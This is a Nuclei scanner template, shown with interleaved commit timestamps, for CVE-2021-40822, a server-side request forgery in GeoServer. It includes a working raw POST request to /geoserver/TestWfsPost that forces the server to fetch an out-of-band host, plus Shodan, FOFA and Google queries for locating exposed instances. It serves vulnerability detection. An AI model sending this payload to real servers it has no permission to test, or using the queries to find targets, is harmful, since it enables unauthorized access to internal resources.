2022-05-18 13:04:39 +00:00
id : CVE-2021-40822
info :
2022-06-30 15:08:21 +00:00
name : Geoserver - Server-Side Request Forgery
2023-07-11 06:44:55 +00:00
author : For3stCo1d,aringo-bf
2022-05-18 13:04:39 +00:00
severity : high
2022-06-30 15:08:21 +00:00
description : GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
2022-05-18 13:04:39 +00:00
reference :
- https://gccybermonks.com/posts/cve-2021-40822/
- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
2022-05-18 17:19:05 +00:00
- https://github.com/geoserver/geoserver/releases
2022-06-30 15:08:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
2023-07-11 19:49:27 +00:00
- https://osgeo-org.atlassian.net/browse/GEOS-10229
2022-05-18 13:04:39 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2021-40822
cwe-id : CWE-918
2024-01-29 17:11:14 +00:00
epss-score : 0.68366
2024-03-23 09:28:19 +00:00
epss-percentile : 0.97892
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
2022-05-18 13:04:39 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : osgeo
product : geoserver
2023-07-12 11:59:22 +00:00
shodan-query : title:"GeoServer"
fofa-query : app="GeoServer"
2024-05-31 19:23:20 +00:00
google-query : intitle:"geoserver"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,ssrf,geoserver,osgeo
2022-05-18 13:04:39 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-18 13:04:39 +00:00
- raw :
- |
POST /geoserver/TestWfsPost HTTP/1.1
2023-07-12 13:50:08 +00:00
Host : oast.pro
2022-05-18 13:04:39 +00:00
Content-Type : application/x-www-form-urlencoded
2023-07-11 06:44:55 +00:00
form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=
2022-05-18 13:04:39 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 06:44:55 +00:00
part : body
2022-05-18 13:04:39 +00:00
words :
2023-07-12 11:59:22 +00:00
- "<b>Interactsh</b>"
2022-05-18 17:00:54 +00:00
- type : word
2023-07-11 06:44:55 +00:00
part : header
2022-05-18 17:00:54 +00:00
words :
2023-07-11 06:44:55 +00:00
- "text/html"
2022-05-18 13:04:39 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100d42d578672d94412d65c62a6441dc5ae3d6bdbcdcb52205a0f76b738f59bae2b022100e4aaee8b8d9b419de8d5215bd7ea2528e62a6adc0b71a29e92c42c2e4332af00:922c64590222798bb761d5b6d8e72950